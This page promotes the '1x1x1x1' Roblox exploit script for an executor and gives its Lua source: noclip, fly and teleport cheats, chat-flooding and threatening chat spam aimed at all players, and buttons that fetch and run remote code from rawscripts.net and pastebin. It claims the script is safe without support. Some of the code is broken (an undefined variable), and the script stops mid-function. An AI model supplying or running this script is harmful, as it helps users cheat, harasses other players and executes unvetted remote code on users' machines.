1x1x1x1 Roblox script gives you plenty of cool options to add fun to the games. Previously known for doing bad things in the 1x1x1x1 script is now active and working.
Using the 1x1x1x1 universal script, you can fly, add a fly pad, send a message, or make funny sounds to other players. We have tested these scripts with the Xeno executor, and they are working fine without any safety issues.
1x1x1x1 Roblox Script
Universal 1x1x1x1 GUI Mobile Script

loadstring(game:HttpGet("https://rawscripts.net/raw/Universal-Script-1X1X1X1-GUI-MODDED-changed-the-names-and-messages-10246", true))()My 1x1x1x1 Script FE GUI

]]
-- Gui to Lua
-- Version: 3.2
-- Instances:
local ScreenGui = Instance.new("ScreenGui")
local Frame = Instance.new("Frame")
local Name = Instance.new("TextLabel")
local Credits = Instance.new("TextLabel")
local ball = Instance.new("TextButton")
local noclip = Instance.new("TextButton")
local fakelag = Instance.new("TextButton")
local plane = Instance.new("TextButton")
local destroychat = Instance.new("TextButton")
local sit = Instance.new("TextButton")
local fly = Instance.new("TextButton")
local tp = Instance.new("TextButton")
local message = Instance.new("TextButton")
local floatingpad = Instance.new("TextButton")
local r6 = Instance.new("TextButton")
local c00lgui = Instance.new("TextButton")
local rejoin = Instance.new("TextButton")
--Properties:
ScreenGui.Parent = game.Players.LocalPlayer:WaitForChild("PlayerGui")
ScreenGui.ZIndexBehavior = Enum.ZIndexBehavior.Sibling
Frame.Parent = ScreenGui
Frame.BackgroundColor3 = Color3.fromRGB(0, 0, 0)
Frame.Position = UDim2.new(-0.0196145065, 168, 0.642360091, -215)
Frame.Size = UDim2.new(0, 417, 0, 280)
Name.Name = "Name"
Name.Parent = Frame
Name.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
Name.Size = UDim2.new(0, 417, 0, 25)
Name.Font = Enum.Font.GothamBold
Name.Text = "1x1x1x1 Gui FE"
Name.TextColor3 = Color3.fromRGB(0, 0, 0)
Name.TextScaled = true
Name.TextSize = 14.000
Name.TextWrapped = true
Credits.Name = "Credits"
Credits.Parent = Frame
Credits.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
Credits.Position = UDim2.new(3.65918211e-08, 0, 0.911999941, 0)
Credits.Size = UDim2.new(0, 416, 0, 22)
Credits.Font = Enum.Font.GothamBold
Credits.Text = "By FishNoobAhh"
Credits.TextColor3 = Color3.fromRGB(0, 0, 0)
Credits.TextScaled = true
Credits.TextSize = 14.000
Credits.TextWrapped = true
ball.Name = "ball"
ball.Parent = Frame
ball.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
ball.Position = UDim2.new(0.0511240065, 0, 0.154811308, 0)
ball.Size = UDim2.new(0, 79, 0, 31)
ball.Font = Enum.Font.GothamBold
ball.Text = "become ball"
ball.TextColor3 = Color3.fromRGB(0, 0, 0)
ball.TextScaled = true
ball.TextSize = 14.000
ball.TextWrapped = true
noclip.Name = "noclip"
noclip.Parent = Frame
noclip.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
noclip.Position = UDim2.new(0.0511240065, 0, 0.308153421, 0)
noclip.Size = UDim2.new(0, 79, 0, 31)
noclip.Font = Enum.Font.GothamBold
noclip.Text = "noclip"
noclip.TextColor3 = Color3.fromRGB(0, 0, 0)
noclip.TextScaled = true
noclip.TextSize = 14.000
noclip.TextWrapped = true
fakelag.Name = "fakelag"
fakelag.Parent = Frame
fakelag.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
fakelag.Position = UDim2.new(0.0511240065, 0, 0.454681605, 0)
fakelag.Size = UDim2.new(0, 79, 0, 34)
fakelag.Font = Enum.Font.GothamBold
fakelag.Text = "fe fake lag"
fakelag.TextColor3 = Color3.fromRGB(0, 0, 0)
fakelag.TextScaled = true
fakelag.TextSize = 14.000
fakelag.TextWrapped = true
fakelag.MouseButton1Down:Connect(function()
while true do
game.Players.LocalPlayer.Character.Torso.Anchored = true
game.Players.LocalPlayer.Character.Humanoid.Jump = true
wait(0.1)
game.Players.LocalPlayer.Character.Torso.Anchored = false
game.Players.LocalPlayer.Character.Humanoid.Sit = true
wait(0.1)
end
end)
plane.Name = "plane"
plane.Parent = Frame
plane.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
plane.Position = UDim2.new(0.386630774, 0, 0.154811308, 0)
plane.Size = UDim2.new(0, 83, 0, 31)
plane.Font = Enum.Font.GothamBold
plane.Text = "become a plane"
plane.TextColor3 = Color3.fromRGB(0, 0, 0)
plane.TextScaled = true
plane.TextSize = 14.000
plane.TextWrapped = true
destroychat.Name = "destroy chat"
destroychat.Parent = Frame
destroychat.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
destroychat.Position = UDim2.new(0.391426951, 0, 0.308153421, 0)
destroychat.Size = UDim2.new(0, 83, 0, 31)
destroychat.Font = Enum.Font.GothamBold
destroychat.Text = "destroy chat fe (op warning)"
destroychat.TextColor3 = Color3.fromRGB(0, 0, 0)
destroychat.TextScaled = true
destroychat.TextSize = 14.000
destroychat.TextWrapped = true
destroychat.MouseButton1Down:Connect(function()
for i = 1, 4 do
local args = {
[1] = "\194\160\194\160",
[2] = "All"
}
game:GetService("ReplicatedStorage"):WaitForChild("DefaultChatSystemChatEvents"):WaitForChild("SayMessageRequest"):FireServer(unpack(args))
end
end)
sit.Name = "sit"
sit.Parent = Frame
sit.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
sit.Position = UDim2.new(0.391426951, 0, 0.457778603, 0)
sit.Size = UDim2.new(0, 83, 0, 34)
sit.Font = Enum.Font.GothamBold
sit.Text = "sit"
sit.TextColor3 = Color3.fromRGB(0, 0, 0)
sit.TextScaled = true
sit.TextSize = 14.000
sit.TextWrapped = true
sit.MouseButton1Down:Connect(function()
local human = kevyn.Parent:findFirstChild("Humanoid")
if (human ~= nil)then
human.Sit=true
end
end)
fly.Name = "fly"
fly.Parent = Frame
fly.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
fly.Position = UDim2.new(0.723578513, 0, 0.154811308, 0)
fly.Size = UDim2.new(0, 89, 0, 31)
fly.Font = Enum.Font.GothamBold
fly.Text = "fly"
fly.TextColor3 = Color3.fromRGB(0, 0, 0)
fly.TextScaled = true
fly.TextSize = 14.000
fly.TextWrapped = true
tp.Name = "tp"
tp.Parent = Frame
tp.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
tp.Position = UDim2.new(0.723578513, 0, 0.308153421, 0)
tp.Size = UDim2.new(0, 89, 0, 31)
tp.Font = Enum.Font.GothamBold
tp.Text = "click to tp"
tp.TextColor3 = Color3.fromRGB(0, 0, 0)
tp.TextScaled = true
tp.TextSize = 14.000
tp.TextWrapped = true
message.Name = "message"
message.Parent = Frame
message.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
message.Position = UDim2.new(0.723578513, 0, 0.457778603, 0)
message.Size = UDim2.new(0, 89, 0, 34)
message.Font = Enum.Font.GothamBold
message.Text = "messages"
message.TextColor3 = Color3.fromRGB(0, 0, 0)
message.TextScaled = true
message.TextSize = 14.000
message.TextWrapped = true
message.MouseButton1Down:Connect(function()
while true do
wait(2)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: MUHAWHAWHAW!! I HAVE RETURNED FOR MY REVENGE!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: NOW YOU WILL ALL PARISH IN MY FIRE OF DOOM!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: I WILL DESTR0Y YOU ALL! YOU ARE HATERS!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: YOU WILL NOT LIVE THROUGH MY DEADLY ATTACKS!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: I MIGHT AS WELL CLONE YOU INTO BOTS!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: AND THEN THOSE BOTS WILL DESTROY ROBLOX! HAHAHAHAHA!!", "ALL")
wait(3)
game.ReplicatedStorage.DefaultChatSystemChatEvents.SayMessageRequest:FireServer("1x1x1x1: YOU CAN'T STOP ME! THERES NOTHING YOU CAN DO!!", "ALL")
wait(2)
end
end)
floatingpad.Name = "floatingpad"
floatingpad.Parent = Frame
floatingpad.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
floatingpad.Position = UDim2.new(0.0511240065, 0, 0.620496035, 0)
floatingpad.Size = UDim2.new(0, 79, 0, 34)
floatingpad.Font = Enum.Font.GothamBold
floatingpad.Text = "floating pad (requires r6)"
floatingpad.TextColor3 = Color3.fromRGB(0, 0, 0)
floatingpad.TextScaled = true
floatingpad.TextSize = 14.000
floatingpad.TextWrapped = true
r6.Name = "r6"
r6.Parent = Frame
r6.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
r6.Position = UDim2.new(0.393903613, 0, 0.620496035, 0)
r6.Size = UDim2.new(0, 79, 0, 34)
r6.Font = Enum.Font.GothamBold
r6.Text = "r15 to r6"
r6.TextColor3 = Color3.fromRGB(0, 0, 0)
r6.TextScaled = true
r6.TextSize = 14.000
r6.TextWrapped = true
r6.MouseButton1Down:Connect(function()
loadstring(game:HttpGet(('https://pastebin.com/raw/jHGVauVX'),true))()
end)
c00lgui.Name = "c00lgui"
c00lgui.Parent = Frame
c00lgui.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
c00lgui.Position = UDim2.new(0.723578513, 0, 0.620496035, 0)
c00lgui.Size = UDim2.new(0, 88, 0, 34)
c00lgui.Font = Enum.Font.GothamBold
c00lgui.Text = "fe c00lgui"
c00lgui.TextColor3 = Color3.fromRGB(0, 0, 0)
c00lgui.TextScaled = true
c00lgui.TextSize = 14.000
c00lgui.TextWrapped = true
c00lgui.MouseButton1Down:Connect(function()
loadstring(game:GetObjects("rbxassetid://9827584846")[1].Source)()
end)
rejoin.Name = "rejoin"
rejoin.Parent = Frame
rejoin.BackgroundColor3 = Color3.fromRGB(255, 0, 0)
rejoin.Position = UDim2.new(0.0511240065, 0, 0.76692462, 0)
rejoin.Size = UDim2.new(0, 79, 0, 34)
rejoin.Font = Enum.Font.GothamBold
rejoin.Text = "rejoin"
rejoin.TextColor3 = Color3.fromRGB(0, 0, 0)
rejoin.TextScaled = true
rejoin.TextSize = 14.000
rejoin.TextWrapped = true
rejoin.MouseButton1Down:Connect(function()
local player = game.Players.LocalPlayer
local gamePlaceId = game.PlaceId
local teleportService = game:GetService("TeleportService")
teleportService:Teleport(gamePlaceId, player)
end)
-- Scripts:
local function WVDQ_fake_script() -- ball.LocalScript
local script = Instance.new('LocalScript', ball)
script.Parent.MouseButton1Click:Connect(function()
local UserInputService = game:GetService("UserInputService")
local RunService = game:GetService("RunService")
local Camera = workspace.CurrentCamera
local SPEED_MULTIPLIER = 30
local JUMP_POWER = 60
local JUMP_GAP = 0.3
local character = game.Players.LocalPlayer.Character
for i,v in ipairs(character:GetDescendants()) do
if v:IsA("BasePart") then
v.CanCollide = false
end
end
local ball = character.HumanoidRootPart
ball.Shape = Enum.PartType.Ball
ball.Size = Vector3.new(5,5,5)
local humanoid = character:WaitForChild("Humanoid")
local params = RaycastParams.new()
params.FilterType = Enum.RaycastFilterType.Blacklist
params.FilterDescendantsInstances = {character}
local tc = RunService.RenderStepped:Connect(function(delta)
ball.CanCollide = true
humanoid.PlatformStand = true
if UserInputService:GetFocusedTextBox() then return end
if UserInputService:IsKeyDown("W") then
ball.RotVelocity -= Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("A") then
ball.RotVelocity -= Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("S") then
ball.RotVelocity += Camera.CFrame.RightVector * delta * SPEED_MULTIPLIER
end
if UserInputService:IsKeyDown("D") then
ball.RotVelocity += Camera.CFrame.LookVector * delta * SPEED_MULTIPLIER
end
--ball.RotVelocity = ball.RotVelocity - Vector3.new(0,ball.RotVelocity.Y/50,0)
end)
UserInputService.JumpRequest:Connect(function()
local result = workspace:Raycast(
ball.Position,
Vector3.new(
0,
-((ball.Size.Y/2)+JUMP_GAP),
0
),
params
)
if result then
ball.Velocity = ball.Velocity + Vector3.new(0,JUMP_POWER,0)
end
end)
Camera.CameraSubject = ball
humanoid.Died:Connect(function() tc:Disconnect() end)
end)
end
coroutine.wrap(WVDQ_fake_script)()
local function UUBW_fake_script() -- noclip.LocalScript
local script = Instance.new('LocalScript', noclip)
local noClipEnabled = false
--Toggle noclipButton
script.parent.MouseButton1Click:Connect(function()
noClipEnabled = not noClipEnabled
script.Parent.Text = noClipEnabled and "No-Clip: ON" or "No-Clip: OFF"
if noClipEnabled then
-- Enable Button
game:GetService("RunService").Stepped:Connect(function()
if noClipEnabled then
for _, part in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if part:IsA("BasePart") and part.CanCollide then
part.CanCollide = false
end
end
end
end)
else
--Disable noclipButton
for _, part in pairs(game.Players.LocalPlayer.Character:GetDescendants()) do
if part:IsA("BasePart") then
part.CanCollide = true
end
end
end
end)
end
coroutine.wrap(UUBW_fake_script)()
local function JLHA_fake_script() -- plane.LocalScript
local script = Instance.new('LocalScript', plane)
function click()
repeat wait() until game:IsLoaded() and game:service("Players").LocalPlayer.Character ~= nil;
wait(0.4)
for i, v in pairs(game:service("Players").LocalPlayer.Character:children()) do
if v ~= script then
v:Destroy()
end
end
local player = game:service("Players").LocalPlayer
local mouse = player:GetMouse()
local cam = workspace.CurrentCamera
local char = player.Character
local Torsoz = char:findFirstChild("Torso")
local NV = Vector3.new()
local Main
local W,S = false,false
local DoublePress = {nil,0}
script.Parent = char
local TrailParts = {}
local Acceleration = 0.08
local Speed = 0
local MinSpeed = 0
local MaxSpeed = 3.2
local DesiredDirection = cam.CoordinateFrame.lookVector
local Direction = DesiredDirection
local Roll = 0
local AllowTrails = true
script.Name = "AdvFlight"
local P = Instance.new("Part")
P.Anchored = true
P.CanCollide = false
P.Name = "Part"
P.formFactor = "Custom"
P.Size = Vector3.new(0.2,0.2,0.2)
P.Locked = true
P.TopSurface = 10
P.BottomSurface = 10
P.FrontSurface = 10
P.BackSurface = 10
P.LeftSurface = 10
P.RightSurface = 10
P.Material = "Pebble"
P.BrickColor = BrickColor.new("White")
local shipp
local shadow
local campart
function RAY(pos, dir, startpos, endpos, distleft, collidedlist)
collidedlist = collidedlist or {char}
startpos = startpos or pos
distleft = distleft or dir.unit * dir.magnitude
endpos = endpos or pos + distleft
local ray = Ray.new(pos, distleft)
local hitz,enz = workspace:FindPartOnRayWithIgnoreList(ray, collidedlist)
if hitz ~= nil then
if hitz.CanCollide == false then
table.insert(collidedlist, hitz)
local newpos = enz
local newdistleft = distleft - (dir.unit * (pos - newpos).magnitude)
if newdistleft ~= NV then
return RAY(newpos-(dir*0.01), dir, startpos, endpos, newdistleft+(dir*0.01), collidedlist)
end
end
end
return hitz, enz, ray
end
function FindSurface(part, position)
local obj = part.CFrame:pointToObjectSpace(position)
local siz = part.Size/2
for i,v in pairs(Enum.NormalId:GetEnumItems()) do
local vec = Vector3.FromNormalId(v)
local wvec = part.CFrame:vectorToWorldSpace(vec)
local vz = (obj)/(siz*vec)
if (math.abs(vz.X-1) < 0.01 or math.abs(vz.Y-1) < 0.01 or math.abs(vz.Z-1) < 0.01) then
return wvec,vec
end
end
if part.className == "WedgePart" then
return part.CFrame:vectorToWorldSpace(Vector3.new(0,0.707,-0.707)), Vector3.new(0,0.707,-0.707)
end
end
function HSV(H,S,V)
H = H % 360
local C = V * S
local H2 = H/60
local X = C * (1 - math.abs((H2 %2) -1))
local color = Color3.new(0,0,0)
if H2 <= 0 then
color = Color3.new(C,0,0)
elseif 0 <= H2 and H2 <= 1 then
color = Color3.new(C,X,0)
elseif 1 <= H2 and H2 <= 2 then
color = Color3.new(X,C,0)
elseif 2 <= H2 and H2 <= 3 then
color = Color3.new(0,C,X)
elseif 3 <= H2 and H2 <= 4 then
color = Color3.new(0,X,C)
elseif 4 <= H2 and H2 <= 5 then
color = Color3.new(X,0,C)
elseif 5 <= H2 and H2 <= 6 then
color = Color3.new(C,0,X)
end
local m = V - C
return Color3.new(color.r + m, color.g + m, color.b + m)
end
function Build(shiptype)
AllowTrails = true
for i, v in pairs(char:children()) do
if v.className == "Model" and v.Name == "Ship" then
v:remove()
end
end
for i, v in pairs(TrailParts) do
for _,V in pairs(v[3]) do
V:Destroy()
end
end
local mdl = Instance.new("Model", char)
mdl.Name = "Ship"
------------------------ Speeder Ship Type -----------------------------
if shiptype == "Speeder" then
shipp = P:Clone()
shipp.Parent = mdl
shipp.Size = Vector3.new(1,1,2.2)
local shipwing1 = P:Clone()
shipwing1.Parent = mdl
shipwing1.Size = Vector3.new(0.6,1.2,2)
local mesh = Instance.new("SpecialMesh", shipwing1)
mesh.MeshType = "Wedge"
local shipwing2 = shipwing1:Clone()
shipwing2.Parent = mdl
campart = P:Clone()
campart.Transparency = 1
local shipwing21 = P:Clone()
shipwing21.Parent = mdl
shipwing21.Size = Vector3.new(0.32,1.1,2.6)
local mesh = Instance.new("SpecialMesh", shipwing21)
mesh.MeshType = "Wedge"
local shipwing22 = shipwing21:Clone()
shipwing22.Parent = mdl
campart = P:Clone()
campart.Transparency = 1
local shipwi = P:Clone()
shipwi.Parent = mdl
shipwi.Size = Vector3.new(1,1,1.2)
local mesh = Instance.new("SpecialMesh", shipwi)
mesh.MeshType = "Wedge"
local shipwi2 = P:Clone()
shipwi2.Parent = mdl
shipwi2.Size = Vector3.new(0.7,0.7,0.84)
shipwi2.Material = "SmoothPlastic"
shipwi2.BrickColor = BrickColor.new("Pastel blue")
shipwi2.Reflectance = 0.6
local mesh = Instance.new("SpecialMesh", shipwi2)
mesh.MeshType = "Wedge"
shadow = P:Clone()
shadow.Parent = mdl
shadow.Name = "Shadow"
shadow.Material = "SmoothPlastic"
shadow.BrickColor = BrickColor.new("Really black")
local mesh = Instance.new("SpecialMesh",shadow)
mesh.MeshType = "Sphere"
TrailParts = {}
table.insert(TrailParts,{shipp,1,{},cam.CoordinateFrame.p,CFrame.new(0,0,1),0.5,18})
table.insert(TrailParts,{shipwing1,1,{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15})
table.insert(TrailParts,{shipwing2,1,{},cam.CoordinateFrame.p,CFrame.new(0,0.45,1),0.3,15})
for _, V in pairs(TrailParts) do
for i = 1, V[7] do
local p = P:Clone()
local mesh = Instance.new("SpecialMesh", p)
mesh.MeshId = "http://www.roblox.com/asset/?id=9856898"
mesh.TextureId = "http://www.roblox.com/asset/?id=48358980"
p.BrickColor = BrickColor.new("Dark stone grey")
table.insert(V[3],p)
end
end
function ReposParts()
shipwing1.CFrame = shipp.CFrame * CFrame.new(-1.1,-0.195,-0.14) * CFrame.Angles(0,0,math.pi/2)
shipwing2.CFrame = shipp.CFrame * CFrame.new(1.1,-0.195,-0.14) * CFrame.Angles(0,0,-math.pi/2)
shipwing21.CFrame = shipp.CFrame * CFrame.new(-1.05,-0.34,-0.45) * CFrame.Angles(0,0,math.pi/2)
shipwing22.CFrame = shipp.CFrame * CFrame.new(1.05,-0.34,-0.45) * CFrame.Angles(0,0,-math.pi/2)
shipwi.CFrame = shipp.CFrame * CFrame.new(0,0,-1.7)
shipwi2.CFrame = shipwi.CFrame * CFrame.new(0,0.015,-0.015)
campart.CFrame = shipp.CFrame + Vector3.new(0,1.5,0)
end
cam.CameraSubject = campart
cam.CameraType = "Track"
shipp.CFrame = CFrame.new(NV,Direction) + cam.CoordinateFrame.p
ReposParts()
end
AllowTrails = true
end
Build("Speeder")
function B1D()
Build("Speeder")
end
function RollThatSht(direc)
if Roll == 0 then
for i = 1, 50 do
Roll = (-360 + math.cos(math.pi/50*i) * 360) * direc
wait(0.02)
end
Roll = 0
end
end
function KD(key)
if key == "w" then
W = true
elseif key == "s" then
S = true
end
local rollpls = 0
if key == DoublePress[1] and tick() - DoublePress[2] < 0.32 then
DoublePress = {nil,0}
if key == "a" then
rollpls = -1
elseif key == "d" then
rollpls = 1
end
end
DoublePress = {key,tick()}
if rollpls ~= 0 then
RollThatSht(rollpls)
end
end
function KU(key)
if key == "w" then
W = false
elseif key == "s" then
S = false
end
end
function Equip()
end
function Unequip()
end
mouse.Icon = "rbxasset://textures\\GunCursor.png"
mouse.Button1Down:connect(B1D)
mouse.KeyDown:connect(KD)
mouse.KeyUp:connect(KU)
local count = 0
local hue = 0
--game:GetService("RunService").Stepped:connect(function()
while wait(0.02) do
------ Speed --------
local valu = (0.002*MaxSpeed) + ((Speed/MaxSpeed)*Acceleration)
if W == true then
Speed = Speed + valu
elseif S == true then
Speed = Speed - valu
end
if Speed > MaxSpeed then
Speed = MaxSpeed
elseif Speed < MinSpeed then
Speed = MinSpeed
end
------ left/right tilt ---------
local target = 180 + math.floor(math.deg(math.atan2(DesiredDirection.x,DesiredDirection.z)))
local current = 180 + math.floor(math.deg(math.atan2(Direction.x,Direction.z)))
local swing = 0
if math.abs(math.abs(current-target) - 360) > math.abs(target-current) then
swing = target-current
else
swing = (current > target and -(math.abs(current-target) - 360)) or (current < target and math.abs(current-target) - 360)
end
DesiredDirection = cam.CoordinateFrame.lookVector
------ direction smoothening ------
local dir = DesiredDirection.unit
if Direction ~= dir then
if (Direction - dir).magnitude < 0.01 then
Direction = dir
else
local dist = ((dir - Direction).unit * (dir - Direction).magnitude) /10
Direction = (Direction + dist).unit
end
end
shipp.CFrame = (CFrame.new(NV,Direction) + shipp.Position + (Direction.unit * Speed)) * CFrame.Angles(0,0,math.rad(Roll) + math.rad(swing/2))
ReposParts()
------ shadow ------
local ghitz, genz = RAY(shipp.Position,Vector3.new(0,-26,0))
local angles = CFrame.new()
if ghitz ~= nil and ghitz.className ~= "Terrain" and ((ghitz.className == "Part" and ghitz.Shape == Enum.PartType.Block) or (ghitz.className ~= "Part" and ghitz:IsA("BasePart"))) then
local wvec,vec = FindSurface(ghitz,genz)
angles = CFrame.new(NV,wvec) * CFrame.Angles(-math.pi/2,0,0)
elseif ghitz ~= nil and (ghitz.className == "Part" and ghitz.Shape == Enum.PartType.Ball) then
angles = (CFrame.new(ghitz.Position, genz) - ghitz.Position) * CFrame.Angles(-math.pi/2,0,0)
end
shadow.CFrame = CFrame.new(genz) * angles
shadow.Transparency = 0.5 + (((shipp.Position - genz).magnitude /26)*0.5)
shadow.Mesh.Scale = (Vector3.new(4.4,0.25,4.4) * 5) * (1-(shipp.Position - genz).magnitude /26)
------- Trails -----------------------
if AllowTrails == true then
count = (count+1)%1
hue = (hue+1) % 360
local rgb = HSV(hue,0.65,0.85)
for _,v in pairs(TrailParts) do
local to = (v[1].CFrame * v[5]).p
if Speed > MinSpeed + 0.2 then
v[2] = (v[2]%#v[3]) + 1
v[3][v[2]].CFrame = CFrame.new((v[4] + to)/2,to) * CFrame.Angles(math.pi/2,math.rad(Roll) + math.rad(swing/2),0)
v[3][v[2]].Mesh.Scale = Vector3.new(v[6],(v[4] - to).magnitude*2,v[6])
v[3][v[2]].Mesh.VertexColor = Vector3.new(rgb.r,rgb.g,rgb.b)
v[3][v[2]].Transparency = 0.15
v[3][v[2]].Parent = game.Players.LocalPlayer.Character
else
v[2] = (v[2]%#v[3]) + 1
v[3][v[2]].Parent = nil
end
v[4] = to
end
end
end
--end)
-- 138098590 -- plane destroyed sound
-- 133082569 -- propeller 2
-- 135645246 -- propeller 1
--[[ Possible Game names
Aeroscape
Airbound
Aerialtude
]]
end
script.Parent.MouseButton1Down:connect(click)
end
coroutine.wrap(JLHA_fake_script)()
local function SSWSNG_fake_script() -- fly.LocalScript
local script = Instance.new('LocalScript', fly)
speeds = 1
local speaker = game:GetService("Players").LocalPlayer
local chr = game.Players.LocalPlayer.Character
local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
nowe = false
script.parent.MouseButton1Down:connect(function()
if nowe == true then
nowe = false
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,true)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,true)
speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.RunningNoPhysics)
else
nowe = true
for i = 1, speeds do
spawn(function()
local hb = game:GetService("RunService").Heartbeat
tpwalking = true
local chr = game.Players.LocalPlayer.Character
local hum = chr and chr:FindFirstChildWhichIsA("Humanoid")
while tpwalking and hb:Wait() and chr and hum and hum.Parent do
if hum.MoveDirection.Magnitude > 0 then
chr:TranslateBy(hum.MoveDirection)
end
end
end)
end
game.Players.LocalPlayer.Character.Animate.Disabled = true
local Char = game.Players.LocalPlayer.Character
local Hum = Char:FindFirstChildOfClass("Humanoid") or Char:FindFirstChildOfClass("AnimationController")
for i,v in next, Hum:GetPlayingAnimationTracks() do
v:AdjustSpeed(0)
end
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Climbing,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.FallingDown,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Flying,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Freefall,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.GettingUp,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Jumping,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Landed,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Physics,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.PlatformStanding,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Ragdoll,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Running,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.RunningNoPhysics,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Seated,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.StrafingNoPhysics,false)
speaker.Character.Humanoid:SetStateEnabled(Enum.HumanoidStateType.Swimming,false)
speaker.Character.Humanoid:ChangeState(Enum.HumanoidStateType.Swimming)
end
if game:GetService("Players").LocalPlayer.Character:FindFirstChildOfClass("Humanoid").RigType == Enum.HumanoidRigType.R6 then
local plr = game.Players.LocalPlayer
local torso = plr.Character.Torso
local flying = true
local deb = true
local ctrl = {f = 0, b = 0, l = 0, r = 0}
local lastctrl = {f = 0, b = 0, l = 0, r = 0}
local maxspeed = 50
local speed = 0
local bg = Instance.new("BodyGyro", torso)
bg.P = 9e4
bg.maxTorque = Vector3.new(9e9, 9e9, 9e9)
bg.cframe = torso.CFrame
local bv = Instance.new("BodyVelocity", torso)
bv.velocity = Vector3.new(0,0.1,0)
bv.maxForce = Vector3.new(9e9, 9e9, 9e9)
if nowe == true then
plr.Character.Humanoid.PlatformStand = true
end
while nowe == true or game:GetService("Players").LocalPlayer.Character.Humanoid.Health == 0 do
game:GetService("RunService").RenderStepped:Wait()
if ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0 then
speed = speed+.5+(speed/maxspeed)
if speed > maxspeed then
speed = maxspeed
end
elseif not (ctrl.l + ctrl.r ~= 0 or ctrl.f + ctrl.b ~= 0) and speed ~= 0 then
speed = speed-1
if speed < 0 then
speed = 0
end
end
if (ctrl.l + ctrl.r) ~= 0 or (ctrl.f + ctrl.b) ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (ctrl.f+ctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(ctrl.l+ctrl.r,(ctrl.f+ctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
lastctrl = {f = ctrl.f, b = ctrl.b, l = ctrl.l, r = ctrl.r}
elseif (ctrl.l + ctrl.r) == 0 and (ctrl.f + ctrl.b) == 0 and speed ~= 0 then
bv.velocity = ((game.Workspace.CurrentCamera.CoordinateFrame.lookVector * (lastctrl.f+lastctrl.b)) + ((game.Workspace.CurrentCamera.CoordinateFrame * CFrame.new(lastctrl.l+lastctrl.r,(lastctrl.f+lastctrl.b)*.2,0).p) - game.Workspace.CurrentCamera.CoordinateFrame.p))*speed
else
bv.velocity = Vector3.new(0,0,0)
end
-- game.Players.LocalPlayer.Character.Animate.Disabled = true
bg.cframe = game.Workspace.CurrentCamera.CoordinateFrame * CFrame.Angles(-math.rad((ctrl.f+ctrl.b)*50*speed/maxspeed),0,0)
end
